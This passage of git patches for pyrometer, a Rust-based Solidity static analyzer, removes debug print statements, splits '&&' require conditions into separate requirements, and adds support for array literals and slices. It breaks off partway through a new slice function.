b/crates/pyrometer/src/analyzer_backend.rs index 6ed9b309..7249e37a 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -82,14 +82,6 @@ impl AnalyzerLike for Analyzer { needed_functions.sort_by(|a, b| a.0.cmp(&b.0)); needed_functions.dedup(); - println!( - "needed functions: {:#?}", - needed_functions - .iter() - .map(|i| i.name(self).unwrap()) - .collect::>() - ); - fn recurse_find( contract: ContractNode, target_contract: ContractNode, @@ -123,7 +115,6 @@ impl AnalyzerLike for Analyzer { let mut structs = vec![]; let mut errs = vec![]; needed_functions.into_iter().for_each(|func| { - println!("iterating with func: {}", func.name(self).unwrap()); let maybe_func_contract = func.maybe_associated_contract(self); let reqs = func.reconstruction_requirements(self); reqs.usertypes.iter().for_each(|var| { @@ -174,8 +165,6 @@ impl AnalyzerLike for Analyzer { entry.push((func, reqs)); }); - // println!("{:#?}", contract_to_funcs); - let contracts = contract_to_funcs.keys().collect::>(); let contract_str = contracts .iter() @@ -251,7 +240,6 @@ impl AnalyzerLike for Analyzer { Node::Context(context) if context.killed.is_some() => { match context.killed.unwrap() { (_, KilledKind::ParseError) => { - // println!("found context: {}", context.path); let edges = graph::nodes::ContextNode::from(node) .all_edges(self) .unwrap(); @@ -272,7 +260,6 @@ impl AnalyzerLike for Analyzer { .unwrap(); let min_str = self.minimize_err(reconstruction_edge); - // println!("reconstructed source:\n{} placed in {}", min_str, path); let mut file = std::fs::OpenOptions::new() .write(true) @@ -356,7 +343,6 @@ impl AnalyzerLike for Analyzer { } } Variable(ident) => { - // println!("variable ident: {}", ident.name); if let Some(idxs) = self.user_types.get(&ident.name) { if idxs.len() == 1 { idxs[0] diff --git a/crates/pyrometer/src/graph_backend.rs b/crates/pyrometer/src/graph_backend.rs index af02c016..d9e79fa1 100644 --- a/crates/pyrometer/src/graph_backend.rs +++ b/crates/pyrometer/src/graph_backend.rs @@ -169,7 +169,6 @@ impl TryFrom<&RangeArena>> for Elems { for elem in &arena.ranges { // Get the map value if let Some(map_value) = arena.map.get(elem).copied() { - // println!("Adding idx {} to elems {}", map_value, elem); inner.push((map_value, elem.clone())); } else { // println!("NONE REF elem: {:?}", elem); @@ -211,11 +210,6 @@ impl TryFrom<&RangeArena>> for Elems { // dedup is needed as there are duplicate indices in the inner vec. TODO @brock is this a bug? arena has duplicate elems inner.dedup(); - // Print out elems - // for (idx, elem) in inner.iter() { - // println!("elem {}: {}", idx, elem); - // } - Ok(Elems { inner }) } } @@ -304,7 +298,6 @@ impl Elems { let lhs_arena = match *range_expr.lhs.clone() { Elem::Arena(lhs) => Some(lhs), Elem::Reference(_lhs) => { - // println!("LHS is a reference: {}", range_expr.lhs); // attempt to add in the ContextVar node that the elem is referencing let context_var_nodes = elem .dependent_on(graph_backend, arena) @@ -332,12 +325,8 @@ impl Elems { _ => None, }; let rhs_arena = match *range_expr.rhs.clone() { - Elem::Arena(rhs) => { - // println!("RHS is an arena index: {}", range_expr.rhs); - Some(rhs) - } + Elem::Arena(rhs) => Some(rhs), Elem::Reference(_rhs) => { - // println!("RHS is a reference: {}", range_expr.rhs); // attempt to add in the ContextVar node that the elem is referencing let context_var_nodes = elem .dependent_on(graph_backend, arena) @@ -398,16 +387,12 @@ impl Elems { // THIRD PASS - iterate over ContextVarNodes // iterate over the dependency map and add edges between the ContextVar nodes and the arena nodes - // println!("dependency map: {:?}", dependency_map); for (cvar_node, &node_idx) in dependency_map.iter() { - // println!("cvar node: {:?}, node idx: {:?}", cvar_node, node_idx); // Find the appropriate arena_idx for range.min and range.max using Elems.inner if let Ok(Some(range_min)) = cvar_node.range_min(graph_backend) { - // println!(" range min: {:?}", range_min); match range_min { Elem::Arena(arena_idx) => { // Make a direct edge to the arena node - // println!(" arena idx: {}", arena_idx); if let Some(&min_node_idx) = arena_idx_to_node_idx.get(&arena_idx) { graph.add_edge(node_idx, min_node_idx, ArenaEdge::MIN); } @@ -421,9 +406,7 @@ impl Elems { .map(|(idx, _)| *idx); // Add edges to the min arena indices if let Some(min_idx) = min_arena_idx { - // println!(" min idx: {:?}", min_idx); if let Some(&min_node_idx) = arena_idx_to_node_idx.get(&min_idx) { - // println!(" min node idx: {:?}", min_node_idx); graph.add_edge(node_idx, min_node_idx, ArenaEdge::MIN); } } @@ -432,11 +415,9 @@ impl Elems { } if let Ok(Some(range_max)) = cvar_node.range_max(graph_backend) { - // println!(" range max: {:?}", range_max); match range_max { Elem::Arena(arena_idx) => { // Make a direct edge to the arena node - // println!(" arena idx: {}", arena_idx); if let Some(&max_node_idx) = arena_idx_to_node_idx.get(&arena_idx) { graph.add_edge(node_idx, max_node_idx, ArenaEdge::MAX); } @@ -450,9 +431,7 @@ impl Elems { .map(|(idx, _)| *idx); // Add edges to the min arena indices if let Some(max_idx) = max_arena_idx { - // println!(" max idx: {:?}", max_idx); if let Some(&max_node_idx) = arena_idx_to_node_idx.get(&max_idx) { - // println!(" max node idx: {:?}", max_node_idx); graph.add_edge(node_idx, max_node_idx, ArenaEdge::MAX); } } diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index f3537300..98ba8dd8 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -98,12 +98,6 @@ pub trait Assign: AnalyzerBackend + Sized lhs_cvar.display_name(self).unwrap(), ); - println!( - "{:?} = {:?}", - lhs_cvar.ty(self).unwrap(), - rhs_cvar.ty(self).unwrap() - ); - if lhs_cvar.is_struct(self).into_expr_err(loc)? && rhs_cvar.is_struct(self).into_expr_err(loc)? { diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index 64e8f510..85d3f20c 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -999,7 +999,6 @@ mod tests { let cvar_node = ContextVarNode::from(stack[0].expect_single()?); assert!(cvar_node.is_const(&analyzer, arena)?); let min = cvar_node.evaled_range_min(&analyzer, arena)?.unwrap(); - println!("{min}"); let conc_value = min.maybe_concrete().unwrap().val; assert!( conc_value == expected, diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index 6bc7c455..fc2f175d 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -115,7 +115,6 @@ pub trait BuiltinAccess: num_inputs: usize, is_storage: bool, ) -> Result, GraphError> { - println!("name: {name}"); match node.underlying(self)?.clone() { Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { match name { @@ -123,10 +122,8 @@ pub trait BuiltinAccess: // TODO: check if the address is known to be a certain type and the function signature is known // and call into the function let builtin_name = name.split('(').collect::>()[0]; - println!("here"); let func_node = FunctionNode::from(self.builtin_fn_or_maybe_add(builtin_name).unwrap()); - println!("func name: {}", func_node.name(self).unwrap()); Ok(Some((func_node, true))) } _ => Ok(None), @@ -333,7 +330,6 @@ pub trait BuiltinAccess: let underlying_mut = func_node.underlying_mut(self)?; let name = underlying_mut.name.as_mut().unwrap(); let full_name = format!("{}({})", name, params_strs.join(", ")); - println!("full name: {full_name}"); name.name.clone_from(&full_name); self.add_edge(func_node, self.entry(), Edge::Func); @@ -352,7 +348,6 @@ pub trait BuiltinAccess: is_storage: bool, loc: Loc, ) -> Result<(ExprRet, bool), ExprErr> { - println!("name: {name}"); match node.underlying(self).into_expr_err(loc)?.clone() { Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { match name { @@ -361,10 +356,6 @@ pub trait BuiltinAccess: // and call into the function let builtin_name = name.split('(').collect::>()[0]; let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); - println!( - "added address lib func: {}", - FunctionNode::from(func_node).name(self).unwrap() - ); Ok((ExprRet::Single(func_node), true)) } "codehash" => { diff --git a/crates/solc-expressions/src/member_access/library_access.rs b/crates/solc-expressions/src/member_access/library_access.rs index c74c1703..69039b7e 100644 --- a/crates/solc-expressions/src/member_access/library_access.rs +++ b/crates/solc-expressions/src/member_access/library_access.rs @@ -23,7 +23,6 @@ pub trait LibraryAccess: AnalyzerBackend + self.possible_library_funcs(ctx, ty) .iter() .filter_map(|func| { - println!("func: {:?}", func.name(self).unwrap()); if let Ok(name) = func.name(self) { Some((name, func)) } else { diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index e187f882..7564a86f 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -472,13 +472,10 @@ pub trait Variable: AnalyzerBackend + Size .all(|e| *e)) } } - (e, f) => { - println!("{e:?}, {f:?}"); - Err(ExprErr::Todo( - loc, - "Unhandled ExprRet combination in `match_var_def`".to_string(), - )) - } + (e, f) => Err(ExprErr::Todo( + loc, + "Unhandled ExprRet combination in `match_var_def`".to_string(), + )), } } From 26ae57abba67cb9296539302a3d4eb63b5017c7d Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 22 Jul 2024 14:29:00 -0700 Subject: [PATCH 47/52] fix ands --- crates/graph/src/range/elem/mod.rs | 1 + crates/shared/src/flattened.rs | 18 ++--- .../src/context_builder/flattened.rs | 77 ++++++++++++------- 3 files changed, 59 insertions(+), 37 deletions(-) diff --git a/crates/graph/src/range/elem/mod.rs b/crates/graph/src/range/elem/mod.rs index 1ae8a707..c0763007 100644 --- a/crates/graph/src/range/elem/mod.rs +++ b/crates/graph/src/range/elem/mod.rs @@ -244,6 +244,7 @@ impl RangeOp { Gt => Lt, Lt => Gt, other => { + tracing::trace!("Require rhs other: {other:?}"); return None; } }; diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 8761fdf9..bc753c46 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -302,15 +302,15 @@ impl FlatExpr { } pub fn try_inv_cmp(&self) -> Option { use FlatExpr::*; - Some(match self { - Less(loc) => MoreEqual(*loc), - More(loc) => LessEqual(*loc), - LessEqual(loc) => More(*loc), - MoreEqual(loc) => Less(*loc), - Equal(loc) => NotEqual(*loc), - NotEqual(loc) => Equal(*loc), - _ => Not(self.try_loc()?), - }) + match self { + Less(loc) => Some(MoreEqual(*loc)), + More(loc) => Some(LessEqual(*loc)), + LessEqual(loc) => Some(More(*loc)), + MoreEqual(loc) => Some(Less(*loc)), + Equal(loc) => Some(NotEqual(*loc)), + NotEqual(loc) => Some(Equal(*loc)), + _ => None, + } } pub fn try_loc(&self) -> Option { use FlatExpr::*; diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 5e5cf0ca..f16f645b 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -106,16 +106,35 @@ pub trait Flatten: // based on their size let start_len = self.expr_stack_mut().len(); self.traverse_expression(if_expr, unchecked); + let mut false_cond = self.expr_stack()[start_len..].to_vec(); let cmp = self.expr_stack_mut().pop().unwrap(); // have it be a require statement - self.push_expr(FlatExpr::Requirement(*loc)); - self.push_expr(cmp); + self.traverse_requirement(cmp, if_expr.loc()); let true_cond = self.expr_stack_mut().drain(start_len..).collect::>(); // the false condition is the same as the true, but with the comparator inverted - let mut false_cond = true_cond.clone(); if let Some(last) = false_cond.pop() { - false_cond.push(last.try_inv_cmp().unwrap_or(FlatExpr::Not(*loc))); + match last { + FlatExpr::And(loc, ..) => { + let lhs = false_cond.pop().unwrap(); + let rhs = false_cond.pop().unwrap(); + false_cond.push(lhs); + false_cond.push(FlatExpr::Not(loc)); + false_cond.push(rhs); + false_cond.push(FlatExpr::Not(loc)); + false_cond.push(FlatExpr::Requirement(loc)); + false_cond.push(FlatExpr::Or(loc)); + } + _ => { + if let Some(inv) = last.try_inv_cmp() { + false_cond.push(inv) + } else { + false_cond.push(last); + false_cond.push(FlatExpr::Requirement(*loc)); + false_cond.push(FlatExpr::Not(*loc)); + } + } + } } let true_cond_delta = true_cond.len(); @@ -163,8 +182,7 @@ pub trait Flatten: let start_len = self.expr_stack_mut().len(); self.traverse_expression(if_expr, unchecked); let cmp = self.expr_stack_mut().pop().unwrap(); - self.push_expr(FlatExpr::Requirement(*loc)); - self.push_expr(cmp); + self.traverse_requirement(cmp, if_expr.loc()); let cond_exprs = self.expr_stack_mut().drain(start_len..).collect::>(); let condition = cond_exprs.len(); @@ -195,8 +213,7 @@ pub trait Flatten: let for_cond_exprs = if let Some(cond) = maybe_for_cond { self.traverse_expression(cond, unchecked); let cmp = self.expr_stack_mut().pop().unwrap(); - self.push_expr(FlatExpr::Requirement(*loc)); - self.push_expr(cmp); + self.traverse_requirement(cmp, cond.loc()); self.expr_stack_mut().drain(start_len..).collect::>() } else { vec![] @@ -315,6 +332,29 @@ pub trait Flatten: } } + fn traverse_requirement(&mut self, cmp: FlatExpr, loc: Loc) { + match cmp { + FlatExpr::And(..) => { + // Its better to just break up And into its component + // parts now as opposed to trying to do it later + // i.e.: + // require(x && y) ==> + // require(x); + // require(y); + let rhs = self.expr_stack_mut().pop().unwrap(); + let lhs = self.expr_stack_mut().pop().unwrap(); + self.push_expr(FlatExpr::Requirement(loc)); + self.push_expr(rhs); + self.push_expr(FlatExpr::Requirement(loc)); + self.push_expr(lhs); + } + _ => { + self.push_expr(FlatExpr::Requirement(loc)); + self.push_expr(cmp); + } + } + } + fn traverse_yul_statement(&mut self, stmt: &YulStatement) { use YulStatement::*; match stmt { @@ -801,26 +841,7 @@ pub trait Flatten: self.traverse_expression(expr, unchecked); }); let cmp = self.expr_stack_mut().pop().unwrap(); - match cmp { - FlatExpr::And(..) => { - // Its better to just break up And into its component - // parts now as opposed to trying to do it later - // i.e.: - // require(x && y) ==> - // require(x); - // require(y); - let rhs = self.expr_stack_mut().pop().unwrap(); - let lhs = self.expr_stack_mut().pop().unwrap(); - self.push_expr(FlatExpr::Requirement(*loc)); - self.push_expr(rhs); - self.push_expr(FlatExpr::Requirement(*loc)); - self.push_expr(lhs); - } - _ => { - self.push_expr(FlatExpr::Requirement(*loc)); - self.push_expr(cmp); - } - } + self.traverse_requirement(cmp, *loc); } _ => { // func(inputs) From 2c0a834ff36b97a3fee27a614d7021a8c0112717 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 22 Jul 2024 14:30:23 -0700 Subject: [PATCH 48/52] lint --- crates/graph/src/solvers/brute.rs | 2 -- crates/solc-expressions/src/variable.rs | 2 +- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/graph/src/solvers/brute.rs b/crates/graph/src/solvers/brute.rs index 3947e7f6..e2a67f96 100644 --- a/crates/graph/src/solvers/brute.rs +++ b/crates/graph/src/solvers/brute.rs @@ -784,8 +784,6 @@ impl SolcSolver for BruteBinSearchSolver { if new_range.unsat(analyzer, arena) { // figure out *where* we need to increase or decrease // work on the unreplace range for now - let min_is_dependent = !range.min.dependent_on(analyzer, arena).is_empty(); - let max_is_dependent = !range.max.dependent_on(analyzer, arena).is_empty(); // compare new range to prev range to see if they moved down or up diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index 7564a86f..560b2415 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -472,7 +472,7 @@ pub trait Variable: AnalyzerBackend + Size .all(|e| *e)) } } - (e, f) => Err(ExprErr::Todo( + (_, _) => Err(ExprErr::Todo( loc, "Unhandled ExprRet combination in `match_var_def`".to_string(), )), From 81c290c2d613c31dd55383e68f46b4e9ad2a4eed Mon Sep 17 00:00:00 2001 From: brockelmore <31553173+brockelmore@users.noreply.github.com> Date: Fri, 2 Aug 2024 09:31:58 -0700 Subject: [PATCH 49/52] feat: add support for array literals and slices (#91) * fix inherits * array literals work and fixed some array stuff * lint * slices work * remove unneeded func --- crates/graph/src/nodes/context/typing.rs | 1 + crates/graph/src/nodes/context/var/node.rs | 31 ++-- crates/graph/src/nodes/context/var/ranging.rs | 14 +- crates/graph/src/nodes/contract_ty.rs | 36 ++-- .../graph/src/range/elem/elem_enum/impls.rs | 21 ++- crates/graph/src/range/elem/mod.rs | 4 + crates/graph/src/range/elem/reference.rs | 2 - crates/graph/src/range/exec/cast.rs | 1 + crates/graph/src/range/exec/exec_op.rs | 3 + .../graph/src/range/exec/mem_ops/mem_get.rs | 90 +++++++++ crates/graph/src/range/exec/mem_ops/mod.rs | 2 +- crates/graph/src/range/exec/mod.rs | 1 + crates/graph/src/var_type.rs | 19 +- crates/pyrometer/src/analyzer.rs | 4 +- crates/pyrometer/tests/test_data/assign.sol | 27 +++ crates/pyrometer/tests/test_data/todo.sol | 19 -- crates/shared/src/error.rs | 1 + crates/shared/src/flattened.rs | 12 +- crates/solc-expressions/src/array.rs | 110 ++++++++--- crates/solc-expressions/src/assign.rs | 173 ++++++++++-------- .../src/context_builder/flattened.rs | 168 ++++++++++++++--- .../func_call/intrinsic_call/constructors.rs | 40 ++-- crates/solc-expressions/src/loops.rs | 3 +- crates/solc-expressions/src/variable.rs | 41 +++++ 24 files changed, 587 insertions(+), 236 deletions(-) diff --git a/crates/graph/src/nodes/context/typing.rs b/crates/graph/src/nodes/context/typing.rs index 68d2e25e..0c64b7ee 100644 --- a/crates/graph/src/nodes/context/typing.rs +++ b/crates/graph/src/nodes/context/typing.rs @@ -89,6 +89,7 @@ impl ContextNode { .underlying(analyzer)? .inherits .iter() + .filter_map(|i| i.as_ref()) .any(|inherited| *inherited == fn_ctrt)) } else { Ok(false) diff --git a/crates/graph/src/nodes/context/var/node.rs b/crates/graph/src/nodes/context/var/node.rs index 85adfa65..7f1dcc9e 100644 --- a/crates/graph/src/nodes/context/var/node.rs +++ b/crates/graph/src/nodes/context/var/node.rs @@ -310,18 +310,13 @@ impl ContextVarNode { } } - pub fn len_var_to_array( - &self, - analyzer: &impl GraphBackend, - ) -> Result, GraphError> { - if let Some(arr) = analyzer.search_for_ancestor( - self.0.into(), - &Edge::Context(ContextEdge::AttrAccess("length")), - ) { - Ok(Some(ContextVarNode::from(arr).latest_version(analyzer))) - } else { - Ok(None) - } + pub fn len_var_to_array(&self, analyzer: &impl GraphBackend) -> Option { + let arr = analyzer + .graph() + .edges_directed(self.first_version(analyzer).into(), Direction::Outgoing) + .find(|edge| *edge.weight() == Edge::Context(ContextEdge::AttrAccess("length"))) + .map(|edge| edge.target())?; + Some(ContextVarNode::from(arr).latest_version(analyzer)) } pub fn index_to_array(&self, analyzer: &impl GraphBackend) -> Option { @@ -335,13 +330,11 @@ impl ContextVarNode { /// Goes from an index access (i.e. `x[idx]`) to the index (i.e. `idx`) pub fn index_access_to_index(&self, analyzer: &impl GraphBackend) -> Option { - let index = analyzer.find_child_exclude_via( - self.first_version(analyzer).into(), - &Edge::Context(ContextEdge::Index), - &[], - &|idx, _| Some(idx), - )?; - Some(ContextVarNode::from(index)) + analyzer + .graph() + .edges_directed(self.first_version(analyzer).0.into(), Direction::Incoming) + .find(|edge| matches!(*edge.weight(), Edge::Context(ContextEdge::Index))) + .map(|e| ContextVarNode::from(e.source())) } pub fn index_or_attr_access(&self, analyzer: &impl GraphBackend) -> Vec { diff --git a/crates/graph/src/nodes/context/var/ranging.rs b/crates/graph/src/nodes/context/var/ranging.rs index eff44095..c73e592d 100644 --- a/crates/graph/src/nodes/context/var/ranging.rs +++ b/crates/graph/src/nodes/context/var/ranging.rs @@ -332,6 +332,7 @@ impl ContextVarNode { Ok(()) } + #[tracing::instrument(level = "trace", skip_all)] pub fn try_set_range_min( &self, analyzer: &mut impl AnalyzerBackend, @@ -350,7 +351,7 @@ impl ContextVarNode { new_min.arenaize(analyzer, arena)?; - if self.is_concrete(analyzer)? { + let res = if self.is_concrete(analyzer)? { let mut new_ty = self.ty(analyzer)?.clone(); new_ty.concrete_to_builtin(analyzer)?; self.underlying_mut(analyzer)?.ty = new_ty; @@ -364,9 +365,12 @@ impl ContextVarNode { Ok(self .underlying_mut(analyzer)? .try_set_range_min(new_min, fallback)) - } + }; + self.cache_range(analyzer, arena)?; + res } + #[tracing::instrument(level = "trace", skip_all)] pub fn try_set_range_max( &self, analyzer: &mut impl AnalyzerBackend, @@ -385,7 +389,7 @@ impl ContextVarNode { new_max.arenaize(analyzer, arena)?; - if self.is_concrete(analyzer)? { + let res = if self.is_concrete(analyzer)? { let mut new_ty = self.ty(analyzer)?.clone(); new_ty.concrete_to_builtin(analyzer)?; self.underlying_mut(analyzer)?.ty = new_ty; @@ -399,7 +403,9 @@ impl ContextVarNode { Ok(self .underlying_mut(analyzer)? .try_set_range_max(new_max, fallback)) - } + }; + self.cache_range(analyzer, arena)?; + res } pub fn try_set_range_exclusions( diff --git a/crates/graph/src/nodes/contract_ty.rs b/crates/graph/src/nodes/contract_ty.rs index 4e946351..a91138c3 100644 --- a/crates/graph/src/nodes/contract_ty.rs +++ b/crates/graph/src/nodes/contract_ty.rs @@ -108,7 +108,7 @@ impl ContractNode { self.underlying_mut(analyzer) .unwrap() .inherits - .push(ContractNode::from(*found)); + .push(Some(ContractNode::from(*found))); analyzer.add_edge(*found, *self, Edge::InheritedContract); }); self.order_inherits(analyzer); @@ -119,17 +119,25 @@ impl ContractNode { let inherits = self.underlying(analyzer).unwrap().inherits.clone(); let mut tmp_inherits = vec![]; - tmp_inherits.resize(inherits.len(), ContractNode::from(NodeIdx::from(0))); + tmp_inherits.resize(inherits.len(), None); inherits.into_iter().for_each(|inherited| { - let i_name = inherited.name(analyzer).unwrap(); - let position = raw_inherits.iter().position(|raw| &i_name == raw).unwrap(); - tmp_inherits[position] = inherited; + if let Some(inherited) = inherited { + let i_name = inherited.name(analyzer).unwrap(); + let position = raw_inherits.iter().position(|raw| &i_name == raw).unwrap(); + tmp_inherits[position] = Some(inherited); + } }); self.underlying_mut(analyzer).unwrap().inherits = tmp_inherits; } pub fn direct_inherited_contracts(&self, analyzer: &impl GraphBackend) -> Vec { - self.underlying(analyzer).unwrap().inherits.clone() + self.underlying(analyzer) + .unwrap() + .inherits + .iter() + .filter_map(|i| i.as_ref()) + .cloned() + .collect() } pub fn all_inherited_contracts(&self, analyzer: &impl GraphBackend) -> Vec { @@ -384,7 +392,7 @@ pub struct Contract { /// Raw inherited strings, ordered by least base to most base pub raw_inherits: Vec, /// A list of contracts that this contract inherits (TODO: inheritance linearization) - pub inherits: Vec, + pub inherits: Vec>, /// Cached linearized functions pub cached_functions: Option>, } @@ -416,7 +424,7 @@ impl Contract { { let name = ContractNode::from(contract).name(analyzer).unwrap(); if &name == inherited_name { - inherits.push(ContractNode::from(contract)); + inherits.push(Some(ContractNode::from(contract))); found = true; break; } @@ -430,7 +438,7 @@ impl Contract { { let name = ContractNode::from(contract).name(analyzer).unwrap(); if &name == inherited_name { - inherits.push(ContractNode::from(contract)); + inherits.push(Some(ContractNode::from(contract))); found = true; break; } @@ -462,11 +470,13 @@ impl Contract { let inherits = self.inherits.clone(); let mut tmp_inherits = vec![]; - tmp_inherits.resize(inherits.len(), ContractNode::from(NodeIdx::from(0))); + tmp_inherits.resize(raw_inherits.len(), None); inherits.into_iter().for_each(|inherited| { - let i_name = inherited.name(analyzer).unwrap(); - let position = raw_inherits.iter().position(|raw| &i_name == raw).unwrap(); - tmp_inherits[position] = inherited; + if let Some(inherited) = inherited { + let i_name = inherited.name(analyzer).unwrap(); + let position = raw_inherits.iter().position(|raw| &i_name == raw).unwrap(); + tmp_inherits[position] = Some(inherited); + } }); self.inherits = tmp_inherits; } diff --git a/crates/graph/src/range/elem/elem_enum/impls.rs b/crates/graph/src/range/elem/elem_enum/impls.rs index f4fcd2e4..5a6bd881 100644 --- a/crates/graph/src/range/elem/elem_enum/impls.rs +++ b/crates/graph/src/range/elem/elem_enum/impls.rs @@ -243,6 +243,12 @@ impl Elem { Elem::Expr(expr) } + /// Creates a new range element that is a slice of the lhs with the rhs + pub fn slice(self, other: Self) -> Self { + let expr = RangeExpr::new(self, RangeOp::Slice, other); + Elem::Expr(expr) + } + /// Gets the length of a memory object pub fn get_length(self) -> Self { let expr = RangeExpr::new(self, RangeOp::GetLength, Elem::Null); @@ -464,7 +470,7 @@ impl Elem { rhs_min: &Self, rhs_max: &Self, eval: bool, - analyzer: &mut impl GraphBackend, + analyzer: &impl GraphBackend, arena: &mut RangeArena>, ) -> Result, GraphError> { match self { @@ -512,6 +518,19 @@ impl Elem { _ => Ok(Some(false)), } } + Self::Expr(_) => { + let min = self.minimize(analyzer, arena)?; + let max = self.maximize(analyzer, arena)?; + if let Some(true) = min.overlaps_dual(rhs_min, rhs_max, eval, analyzer, arena)? { + Ok(Some(true)) + } else if let Some(true) = + max.overlaps_dual(rhs_min, rhs_max, eval, analyzer, arena)? + { + Ok(Some(true)) + } else { + Ok(None) + } + } _ => Ok(None), } } diff --git a/crates/graph/src/range/elem/mod.rs b/crates/graph/src/range/elem/mod.rs index c0763007..a388b211 100644 --- a/crates/graph/src/range/elem/mod.rs +++ b/crates/graph/src/range/elem/mod.rs @@ -98,6 +98,8 @@ pub enum RangeOp { SetLength, /// Get Length of a memory object GetLength, + /// Slice a memory object + Slice, } impl TryFrom for RangeOp { @@ -170,6 +172,7 @@ impl RangeOp { SetIndices => false, GetIndex => false, Concat => false, + Slice => false, } } @@ -285,6 +288,7 @@ impl fmt::Display for RangeOp { GetIndex => write!(f, "get_index"), GetLength => write!(f, "get_length"), SetLength => write!(f, "set_length"), + Slice => write!(f, "slice"), } } } diff --git a/crates/graph/src/range/elem/reference.rs b/crates/graph/src/range/elem/reference.rs index 530bfc32..51cc19f9 100644 --- a/crates/graph/src/range/elem/reference.rs +++ b/crates/graph/src/range/elem/reference.rs @@ -281,7 +281,6 @@ impl RangeElem for Reference { if let Some(idx) = arena.idx(&Elem::Reference(Reference::new(self.idx))) { if let Some(Elem::Reference(ref arenaized)) = arena.ranges.get(idx) { - tracing::trace!("reference maximize cache hit"); if let Some(MinMaxed::Maximized(cached)) = arenaized.maximized.clone() { return Ok(*cached); } @@ -320,7 +319,6 @@ impl RangeElem for Reference { if let Some(idx) = arena.idx(&Elem::Reference(Reference::new(self.idx))) { if let Some(Elem::Reference(ref arenaized)) = arena.ranges.get(idx) { if let Some(MinMaxed::Minimized(cached)) = arenaized.minimized.clone() { - tracing::trace!("reference minimize cache hit"); return Ok(*cached); } } diff --git a/crates/graph/src/range/exec/cast.rs b/crates/graph/src/range/exec/cast.rs index 0c02d5a9..447a2936 100644 --- a/crates/graph/src/range/exec/cast.rs +++ b/crates/graph/src/range/exec/cast.rs @@ -106,6 +106,7 @@ impl RangeCast> for RangeDyn { Some(Elem::ConcreteDyn(self.clone())) } (Some(Elem::Reference(_)), None) => Some(Elem::ConcreteDyn(self.clone())), + (Some(Elem::ConcreteDyn(_)), None) => Some(Elem::ConcreteDyn(self.clone())), (None, Some(Elem::Reference(_))) => Some(Elem::ConcreteDyn(self.clone())), (None, None) => Some(Elem::ConcreteDyn(self.clone())), _ => None, diff --git a/crates/graph/src/range/exec/exec_op.rs b/crates/graph/src/range/exec/exec_op.rs index 22d67e2a..30c21604 100644 --- a/crates/graph/src/range/exec/exec_op.rs +++ b/crates/graph/src/range/exec/exec_op.rs @@ -240,6 +240,9 @@ impl ExecOp for RangeExpr { ); let res = match self.op { + RangeOp::Slice => Some(exec_slice( + &lhs_min, &lhs_max, &rhs_min, &rhs_max, analyzer, arena, + )), RangeOp::GetLength => exec_get_length(&lhs_min, &lhs_max, maximize, analyzer, arena), RangeOp::GetIndex => exec_get_index(&self.lhs, &self.rhs, maximize, analyzer, arena), RangeOp::SetLength => exec_set_length(&lhs_min, &lhs_max, &rhs_min, &rhs_max, maximize), diff --git a/crates/graph/src/range/exec/mem_ops/mem_get.rs b/crates/graph/src/range/exec/mem_ops/mem_get.rs index d2958103..c2133558 100644 --- a/crates/graph/src/range/exec/mem_ops/mem_get.rs +++ b/crates/graph/src/range/exec/mem_ops/mem_get.rs @@ -9,6 +9,8 @@ use shared::RangeArena; use ethers_core::types::U256; use solang_parser::pt::Loc; +use std::collections::BTreeMap; + impl RangeMemLen for RangeDyn { fn range_get_length(&self) -> Option> { Some(*self.len.clone()) @@ -68,6 +70,94 @@ impl RangeMemGet> for Elem { } } +pub fn exec_slice( + arr_min: &Elem, + arr_max: &Elem, + start: &Elem, + end: &Elem, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, +) -> Elem { + let mut kvs = Default::default(); + // slices are exclusive + let excl_end = end.clone() - Elem::from(Concrete::from(U256::from(1))); + fn match_key( + arr: &Elem, + start_idx: &Elem, + excl_end: &Elem, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, + kvs: &mut BTreeMap, Elem>, + ) { + match arr { + Elem::Arena(_) => { + let (d, idx) = arr.dearenaize(arena); + match_key(&d, start_idx, excl_end, analyzer, arena, kvs); + arr.rearenaize(d, idx, arena); + } + Elem::Reference(_) => { + if let Ok(min) = arr.minimize(analyzer, arena) { + match_key(&min, start_idx, excl_end, analyzer, arena, kvs); + } + + if let Ok(max) = arr.maximize(analyzer, arena) { + match_key(&max, start_idx, excl_end, analyzer, arena, kvs); + } + } + Elem::ConcreteDyn(d) => { + d.val.iter().for_each(|(k, (v, _op))| { + if let Ok(Some(true)) = + k.overlaps_dual(start_idx, excl_end, true, analyzer, arena) + { + let new_k = k.clone() - start_idx.clone(); + kvs.insert(new_k, v.clone()); + } + }); + } + Elem::Concrete(c) => { + if let Some(size) = c.val.maybe_array_size() { + let min = U256::zero(); + // Iterates through concrete indices to check if RHS contains the index + let mut curr = min; + while curr < size { + let as_rc = RangeConcrete::new(Concrete::from(curr), Loc::Implicit); + let as_elem = Elem::from(as_rc.clone()); + if let Ok(Some(true)) = + 